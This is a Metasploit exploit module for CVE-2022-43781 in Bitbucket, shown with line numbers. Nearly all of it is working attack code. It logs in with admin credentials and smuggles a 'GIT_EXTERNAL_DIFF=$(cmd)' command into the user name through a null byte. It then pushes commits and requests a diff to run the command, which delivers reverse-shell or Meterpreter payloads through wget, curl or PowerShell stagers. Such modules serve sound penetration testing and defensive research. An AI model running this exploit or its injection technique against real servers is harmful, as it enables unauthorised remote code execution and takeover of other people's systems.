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1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::Remote::HttpClient
10
  include Msf::Exploit::Git
11
  include Msf::Exploit::Git::SmartHttp
12
  include Msf::Exploit::CmdStager
13
  prepend Msf::Exploit::Remote::AutoCheck
14

15
  def initialize(info = {})
16
    super(
17
      update_info(
18
        info,
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        'Name' => 'Bitbucket Environment Variable RCE',
20
        'Description' => %q{
21
          For various versions of Bitbucket, there is an authenticated command injection
22
          vulnerability that can be exploited by injecting environment
23
          variables into a user name. This module achieves remote code execution
24
          as the `atlbitbucket` user by injecting the `GIT_EXTERNAL_DIFF` environment
25
          variable, a null character as a delimiter, and arbitrary code into a user's
26
          user name. The value (payload) of the `GIT_EXTERNAL_DIFF` environment variable
27
          will be run once the Bitbucket application is coerced into generating a diff.
28

29
          This module requires at least admin credentials, as admins and above
30
          only have the option to change their user name.
31
        },
32
        'License' => MSF_LICENSE,
33
        'Author' => [
34
          'Ry0taK', # Vulnerability Discovery
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          'y4er', # PoC and blog post
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          'Shelby Pace' # Metasploit Module
37
        ],
38
        'References' => [
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          [ 'URL', 'https://y4er.com/posts/cve-2022-43781-bitbucket-server-rce/'],
40
          [ 'URL', 'https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-security-advisory-2022-11-16-1180141667.html'],
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          [ 'CVE', '2022-43781']
42
        ],
43
        'Platform' => [ 'win', 'unix', 'linux' ],
44
        'Privileged' => true,
45
        'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
46
        'Targets' => [
47
          [
48
            'Linux Command',
49
            {
50
              'Platform' => 'unix',
51
              'Type' => :unix_cmd,
52
              'Arch' => [ ARCH_CMD ],
53
              'Payload' => { 'Space' => 254 },
54
              'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_bash' }
55
            }
56
          ],
57
          [
58
            'Linux Dropper',
59
            {
60
              'Platform' => 'linux',
61
              'MaxLineChars' => 254,
62
              'Type' => :linux_dropper,
63
              'Arch' => [ ARCH_X86, ARCH_X64 ],
64
              'CmdStagerFlavor' => %i[wget curl],
65
              'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' }
66
            }
67
          ],
68
          [
69
            'Windows Dropper',
70
            {
71
              'Platform' => 'win',
72
              'MaxLineChars' => 254,
73
              'Type' => :win_dropper,
74
              'Arch' => [ ARCH_X86, ARCH_X64 ],
75
              'CmdStagerFlavor' => [ :psh_invokewebrequest ],
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              'DefaultOptions' => { 'Payload' => 'windows/meterpreter/reverse_tcp' }
77
            }
78
          ]
79
        ],
80
        'DisclosureDate' => '2022-11-16',
81
        'DefaultTarget' => 0,
82
        'Notes' => {
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          'Stability' => [ CRASH_SAFE ],
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          'Reliability' => [ REPEATABLE_SESSION ],
85
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]
86
        }
87
      )
88
    )
89

90
    register_options(
91
      [
92
        Opt::RPORT(7990),
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        OptString.new('USERNAME', [ true, 'User name to log in with' ]),
94
        OptString.new('PASSWORD', [ true, 'Password to log in with' ]),
95
        OptString.new('TARGETURI', [ true, 'The URI of the Bitbucket instance', '/'])
96
      ]
97
    )
98
  end
99

100
  def check
101
    res = send_request_cgi(
102
      'method' => 'GET',
103
      'uri' => normalize_uri(target_uri.path, 'login'),
104
      'keep_cookies' => true
105
    )
106

107
    return CheckCode::Unknown('Failed to retrieve a response from the target') unless res
108
    return CheckCode::Safe('Target does not appear to be Bitbucket') unless res.body.include?('Bitbucket')
109

110
    nokogiri_data = res.get_html_document
111
    footer = nokogiri_data&.at('footer')
112
    return CheckCode::Detected('Failed to retrieve version information from Bitbucket') unless footer
113

114
    version_info = footer.at('span')&.children&.text
115
    return CheckCode::Detected('Failed to find version information in footer section') unless version_info
116

117
    vers_matches = version_info.match(/v(\d+\.\d+\.\d+)/)
118
    return CheckCode::Detected('Failed to find version info in expected format') unless vers_matches && vers_matches.length > 1
119

120
    version_str = vers_matches[1]
121

122
    vprint_status("Found version #{version_str} of Bitbucket")
123
    major, minor, revision = version_str.split('.')
124
    rev_num = revision.to_i
125

126
    case major
127
    when '7'
128
      case minor
129
      when '0', '1', '2', '3', '4', '5'
130
        return CheckCode::Appears
131
      when '6'
132
        return CheckCode::Appears if rev_num >= 0 && rev_num <= 18
133
      when '7', '8', '9', '10', '11', '12', '13', '14', '15', '16'
134
        return CheckCode::Appears
135
      when '17'
136
        return CheckCode::Appears if rev_num >= 0 && rev_num <= 11
137
      when '18', '19', '20'
138
        return CheckCode::Appears
139
      when '21'
140
        return CheckCode::Appears if rev_num >= 0 && rev_num <= 5
141
      end
142
    when '8'
143
      print_status('Versions 8.* are vulnerable only if the mesh setting is disabled')
144
      case minor
145
      when '0'
146
        return CheckCode::Appears if rev_num >= 0 && rev_num <= 4
147
      when '1'
148
        return CheckCode::Appears if rev_num >= 0 && rev_num <= 4
149
      when '2'
150
        return CheckCode::Appears if rev_num >= 0 && rev_num <= 3
151
      when '3'
152
        return CheckCode::Appears if rev_num >= 0 && rev_num <= 2
153
      when '4'
154
        return CheckCode::Appears if rev_num == 0 || rev_num == 1
155
      end
156
    end
157

158
    CheckCode::Detected
159
  end
160

161
  def default_branch
162
    @default_branch ||= Rex::Text.rand_text_alpha(5..9)
163
  end
164

165
  def uname_payload(cmd)
166
    "#{datastore['USERNAME']}\u0000GIT_EXTERNAL_DIFF=$(#{cmd})"
167
  end
168

169
  def log_in(username, password)
170
    res = send_request_cgi(
171
      'method' => 'GET',
172
      'uri' => normalize_uri(target_uri.path, 'login'),
173
      'keep_cookies' => true
174
    )
175

176
    fail_with(Failure::UnexpectedReply, 'Failed to access login page') unless res&.body&.include?('login')
177

178
    res = send_request_cgi(
179
      'method' => 'POST',
180
      'uri' => normalize_uri(target_uri.path, 'j_atl_security_check'),
181
      'keep_cookies' => true,
182
      'vars_post' => {
183
        'j_username' => username,
184
        'j_password' => password,
185
        '_atl_remember_me' => 'on',
186
        'submit' => 'Log in'
187
      }
188
    )
189

190
    fail_with(Failure::UnexpectedReply, 'Didn\'t retrieve a response') unless res
191
    res = send_request_cgi(
192
      'method' => 'GET',
193
      'uri' => normalize_uri(target_uri.path, 'projects'),
194
      'keep_cookies' => true
195
    )
196

197
    fail_with(Failure::UnexpectedReply, 'No response from the projects page') unless res
198
    unless res.body.include?('Logged in')
199
      fail_with(Failure::UnexpectedReply, 'Failed to log in. Please check credentials')
200
    end
201
  end
202

203
  def create_project
204
    proj_uri = normalize_uri(target_uri.path, 'projects?create')
205
    res = send_request_cgi(
206
      'method' => 'GET',
207
      'uri' => proj_uri,
208
      'keep_cookies' => true
209
    )
210

211
    fail_with(Failure::UnexpectedReply, 'Unable to access project creation page') unless res&.body&.include?('Create project')
212

213
    vprint_status('Retrieving security token')
214
    html_doc = res.get_html_document
215
    token_data = html_doc.at('div//input[@name="atl_token"]')
216
    fail_with(Failure::UnexpectedReply, 'Failed to find element containing \'atl_token\'') unless token_data
217

218
    @token = token_data['value']
219
    fail_with(Failure::UnexpectedReply, 'No token found') if @token.blank?
220

221
    project_name = Rex::Text.rand_text_alpha(5..9)
222
    project_key = Rex::Text.rand_text_alpha(5..9).upcase
223
    res = send_request_cgi(
224
      'method' => 'POST',
225
      'uri' => proj_uri,
226
      'keep_cookies' => true,
227
      'vars_post' => {
228
        'name' => project_name,
229
        'key' => project_key,
230
        'submit' => 'Create project',
231
        'atl_token' => @token
232
      }
233
    )
234

235
    fail_with(Failure::UnexpectedReply, 'Failed to receive response from project creation') unless res
236
    fail_with(Failure::UnexpectedReply, 'Failed to create project') unless res['Location']&.include?(project_key)
237

238
    print_status('Project creation was successful')
239
    [ project_name, project_key ]
240
  end
241

242
  def create_repository
243
    repo_uri = normalize_uri(target_uri.path, 'projects', @project_key, 'repos?create')
244
    res = send_request_cgi(
245
      'method' => 'GET',
246
      'uri' => repo_uri,
247
      'keep_cookies' => true
248
    )
249

250
    fail_with(Failure::UnexpectedReply, 'Failed to access repo creation page') unless res
251

252
    html_doc = res.get_html_document
253

254
    dropdown_data = html_doc.at('li[@class="user-dropdown"]')
255
    fail_with(Failure::UnexpectedReply, 'Failed to find dropdown to retrieve email address') if dropdown_data.blank?
256
    email = dropdown_data&.at('span')&.[]('data-emailaddress')
257
    fail_with(Failure::UnexpectedReply, 'Failed to retrieve email address from response') if email.blank?
258

259
    repo_name = Rex::Text.rand_text_alpha(5..9)
260
    res = send_request_cgi(
261
      'method' => 'POST',
262
      'uri' => repo_uri,
263
      'keep_cookies' => true,
264
      'vars_post' => {
265
        'name' => repo_name,
266
        'defaultBranchId' => default_branch,
267
        'description' => '',
268
        'scmId' => 'git',
269
        'forkable' => 'false',
270
        'atl_token' => @token,
271
        'submit' => 'Create repository'
272
      }
273
    )
274

275
    fail_with(Failure::UnexpectedReply, 'No response received from repo creation') unless res
276
    res = send_request_cgi(
277
      'method' => 'GET',
278
      'keep_cookies' => true,
279
      'uri' => normalize_uri(target_uri.path, 'projects', @project_key, 'repos', repo_name, 'browse')
280
    )
281

282
    fail_with(Failure::UnexpectedReply, 'Repository was not created') if res&.code == 404
283
    print_good("Successfully created repository '#{repo_name}'")
284

285
    [ email, repo_name ]
286
  end
287

288
  def generate_repo_objects(email, repo_file_data = [], parent_object = nil)
289
    txt_data = Rex::Text.rand_text_alpha(5..20)
290
    blob_object = GitObject.build_blob_object(txt_data)
291
    file_name = "#{Rex::Text.rand_text_alpha(4..10)}.txt"
292

293
    file_data = {
294
      mode: '100755',
295
      file_name: file_name,
296
      sha1: blob_object.sha1
297
    }
298

299
    tree_data = (repo_file_data.empty? ? [ file_data ] : [ file_data, repo_file_data ])
300
    tree_obj = GitObject.build_tree_object(tree_data)
301
    commit_obj = GitObject.build_commit_object({
302
      tree_sha1: tree_obj.sha1,
303
      email: email,
304
      message: Rex::Text.rand_text_alpha(4..30),
305
      parent_sha1: (parent_object.nil? ? nil : parent_object.sha1)
306
    })
307

308
    {
309
      objects: [ commit_obj, tree_obj, blob_object ],
310
      file_data: file_data
311
    }
312
  end
313

314
  # create two files in two separate commits in order
315
  # to view a diff and get code execution
316
  def create_commits(email)
317
    init_objects = generate_repo_objects(email)
318
    commit_obj = init_objects[:objects].first
319

320
    refs = {
321
      'HEAD' => "refs/heads/#{default_branch}",
322
      "refs/heads/#{default_branch}" => commit_obj.sha1
323
    }
324

325
    final_objects = generate_repo_objects(email, init_objects[:file_data], commit_obj)
326
    repo_objects = final_objects[:objects] + init_objects[:objects]
327
    new_commit = final_objects[:objects].first
328
    new_file = final_objects[:file_data][:file_name]
329

330
    git_uri = normalize_uri(target_uri.path, "scm/#{@project_key}/#{@repo_name}.git")
331
    res = send_receive_pack_request(
332
      git_uri,
333
      refs['HEAD'],
334
      repo_objects,
335
      '0' * 40 # no commits should exist yet, so no branch tip in repo yet
336
    )
337

338
    fail_with(Failure::UnexpectedReply, 'Failed to push commit to repository') unless res
339
    fail_with(Failure::UnexpectedReply, 'Git responded with an error') if res.body.include?('error:')
340
    fail_with(Failure::UnexpectedReply, 'Git push failed') unless res.body.include?('unpack ok')
341

342
    [ new_commit.sha1, commit_obj.sha1, new_file ]
343
  end
344

345
  def get_user_id(curr_uname)
346
    res = send_request_cgi(
347
      'method' => 'GET',
348
      'uri' => normalize_uri(target_uri.path, 'admin/users/view'),
349
      'vars_get' => { 'name' => curr_uname }
350
    )
351

352
    matched_id = res.get_html_document&.xpath("//script[contains(text(), '\"name\":\"#{curr_uname}\"')]")&.first&.text&.match(/"id":(\d+)/)
353
    fail_with(Failure::UnexpectedReply, 'No matches found for id of user') unless matched_id && matched_id.length > 1
354

355
    matched_id[1]
356
  end
357

358
  def change_username(curr_uname, new_uname)
359
    @user_id ||= get_user_id(curr_uname)
360

361
    headers = {
362
      'X-Requested-With' => 'XMLHttpRequest',
363
      'X-AUSERID' => @user_id,
364
      'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}"
365
    }
366

367
    vars = {
368
      'name' => curr_uname,
369
      'newName' => new_uname
370
    }.to_json
371

372
    res = send_request_cgi(
373
      'method' => 'POST',
374
      'uri' => normalize_uri(target_uri.path, 'rest/api/latest/admin/users/rename'),
375
      'ctype' => 'application/json',
376
      'keep_cookies' => true,
377
      'headers' => headers,
378
      'data' => vars
379
    )
380

381
    unless res
382
      print_bad('Did not receive a response to the user name change request')
383
      return false
384
    end
385

386
    unless res.body.include?(new_uname) || res.body.include?('GIT_EXTERNAL_DIFF')
387
      print_bad('User name change was unsuccessful')
388
      return false
389
    end
390

391
    true
392
  end
393

394
  def commit_uri(project_key, repo_name, commit_sha)
395
    normalize_uri(
396
      target_uri.path,
397
      'rest/api/latest/projects',
398
      project_key,
399
      'repos',
400
      repo_name,
401
      'commits',
402
      commit_sha
403
    )
404
  end
405

406
  def view_commit_diff(latest_commit_sha, first_commit_sha, diff_file)
407
    commit_diff_uri = normalize_uri(
408
      commit_uri(@project_key, @repo_name, latest_commit_sha),
409
      'diff',
410
      diff_file
411
    )
412

413
    send_request_cgi(
414
      'method' => 'GET',
415
      'uri' => commit_diff_uri,
416
      'keep_cookies' => true,
417
      'vars_get' => { 'since' => first_commit_sha }
418
    )
419
  end
420

421
  def delete_repository(username)
422
    vprint_status("Attempting to delete repository '#{@repo_name}'")
423
    repo_uri = normalize_uri(target_uri.path, 'projects', @project_key, 'repos', @repo_name.downcase)
424
    res = send_request_cgi(
425
      'method' => 'DELETE',
426
      'uri' => repo_uri,
427
      'keep_cookies' => true,
428
      'headers' => {
429
        'X-AUSERNAME' => username,
430
        'X-AUSERID' => @user_id,
431
        'X-Requested-With' => 'XMLHttpRequest',
432
        'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}",
433
        'ctype' => 'application/json',
434
        'Accept' => 'application/json, text/javascript'
435
      }
436
    )
437

438
    unless res&.body&.include?('scheduled for deletion')
439
      print_warning('Failed to delete repository')
440
      return
441
    end
442

443
    print_good('Repository has been deleted')
444
  end
445

446
  def delete_project(username)
447
    vprint_status("Now attempting to delete project '#{@project_name}'")
448
    send_request_cgi( # fails to return a response
449
      'method' => 'DELETE',
450
      'uri' => normalize_uri(target_uri.path, 'projects', @project_key),
451
      'keep_cookies' => true,
452
      'headers' => {
453
        'X-AUSERNAME' => username,
454
        'X-AUSERID' => @user_id,
455
        'X-Requested-With' => 'XMLHttpRequest',
456
        'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}",
457
        'Referer' => "#{ssl ? 'https' : 'http'}://#{peer}/projects/#{@project_key}/settings",
458
        'ctype' => 'application/json',
459
        'Accept' => 'application/json, text/javascript, */*; q=0.01',
460
        'Accept-Encoding' => 'gzip, deflate'
461
      }
462
    )
463

464
    res = send_request_cgi(
465
      'method' => 'GET',
466
      'uri' => normalize_uri(target_uri.path, 'projects', @project_key),
467
      'keep_cookies' => true
468
    )
469

470
    unless res&.code == 404
471
      print_warning('Failed to delete project')
472
      return
473
    end
474

475
    print_good('Project has been deleted')
476
  end
477

478
  def get_repo
479
    res = send_request_cgi(
480
      'method' => 'GET',
481
      'uri' => normalize_uri(target_uri.path, 'rest/api/latest/repos'),
482
      'keep_cookies' => true
483
    )
484

485
    unless res
486
      print_status('Couldn\'t access repos page. Will create repo')
487
      return []
488
    end
489

490
    json_data = JSON.parse(res.body)
491
    unless json_data && json_data['size'] >= 1
492
      print_status('No accessible repositories. Will attempt to create a repo')
493
      return []
494
    end
495

496
    repo_data = json_data['values'].first
497
    repo_name = repo_data['slug']
498
    project_key = repo_data['project']['key']
499

500
    unless repo_name && project_key
501
      print_status('Could not find repo name and key. Creating repo')
502
      return []
503
    end
504

505
    [ repo_name, project_key ]
506
  end
507

508
  def get_repo_info
509
    unless @project_name && @project_key
510
      print_status('Failed to find valid project information. Will attempt to create repo')
511
      return nil
512
    end
513

514
    res = send_request_cgi(
515
      'method' => 'GET',
516
      'uri' => normalize_uri('projects', @project_key, 'repos', @project_name, 'commits'),
517
      'keep_cookies' => true
518
    )
519

520
    unless res
521
      print_status("Failed to access existing repository #{@project_name}")
522
      return nil
523
    end
524

525
    html_doc = res.get_html_document
526
    commit_data = html_doc.search('a[@class="commitid"]')
527
    unless commit_data && commit_data.length > 1
528
      print_status('No commits found for existing repo')
529
      return nil
530
    end
531

532
    latest_commit = commit_data[0]['data-commitid']
533
    prev_commit = commit_data[1]['data-commitid']
534

535
    file_uri = normalize_uri(commit_uri(@project_key, @project_name, latest_commit), 'changes')
536
    res = send_request_cgi(
537
      'method' => 'GET',
538
      'uri' => file_uri,
539
      'keep_cookies' => true
540
    )
541

542
    return nil unless res
543

544
    json = JSON.parse(res.body)
545
    return nil unless json['values']
546

547
    path = json['values']&.first&.dig('path')
548
    return nil unless path
549

550
    [ latest_commit, prev_commit, path['name'] ]
551
  end
552

553
  def exploit
554
    @use_public_repo = true
555
    datastore['GIT_USERNAME'] = datastore['USERNAME']
556
    datastore['GIT_PASSWORD'] = datastore['PASSWORD']
557

558
    if datastore['USERNAME'].blank? && datastore['PASSWORD'].blank?
559
      fail_with(Failure::BadConfig, 'No credentials to log in with.')
560
    end
561

562
    log_in(datastore['USERNAME'], datastore['PASSWORD'])
563
    @curr_uname = datastore['USERNAME']
564

565
    @project_name, @project_key = get_repo
566
    @repo_name = @project_name
567
    @latest_commit, @first_commit, @diff_file = get_repo_info
568
    unless @latest_commit && @first_commit && @diff_file
569
      @use_public_repo = false
570
      @project_name, @project_key = create_project
571
      email, @repo_name = create_repository
572
      @latest_commit, @first_commit, @diff_file = create_commits(email)
573
      print_good("Commits added: #{@first_commit}, #{@latest_commit}")
574
    end
575

576
    print_status('Sending payload')
577
    case target['Type']
578
    when :win_dropper
579
      execute_cmdstager(linemax: target['MaxLineChars'] - uname_payload('cmd.exe /c ').length, noconcat: true, temp: '.')
580
    when :linux_dropper
581
      execute_cmdstager(linemax: target['MaxLineChars'], noconcat: true)
582
    when :unix_cmd
583
      execute_command(payload.encoded.strip)
584
    end
585
  end
586

587
  def cleanup
588
    if @curr_uname != datastore['USERNAME']
589
      print_status("Changing user name back to '#{datastore['USERNAME']}'")
590

591
      if change_username(@curr_uname, datastore['USERNAME'])
592
        @curr_uname = datastore['USERNAME']
593
      else
594
        print_warning('User name is still set to payload.' \
595
                      "Please manually change the user name back to #{datastore['USERNAME']}")
596
      end
597
    end
598

599
    unless @use_public_repo
600
      delete_repository(@curr_uname) if @repo_name
601
      delete_project(@curr_uname) if @project_name
602
    end
603
  end
604

605
  def execute_command(cmd, _opts = {})
606
    if target['Platform'] == 'win'
607
      curr_payload = (cmd.ends_with?('.exe') ? uname_payload("cmd.exe /c #{cmd}") : uname_payload(cmd))
608
    else
609
      curr_payload = uname_payload(cmd)
610
    end
611

612
    unless change_username(@curr_uname, curr_payload)
613
      fail_with(Failure::UnexpectedReply, 'Failed to change user name to payload')
614
    end
615

616
    view_commit_diff(@latest_commit, @first_commit, @diff_file)
617
    @curr_uname = curr_payload
618
  end
619
end
620

621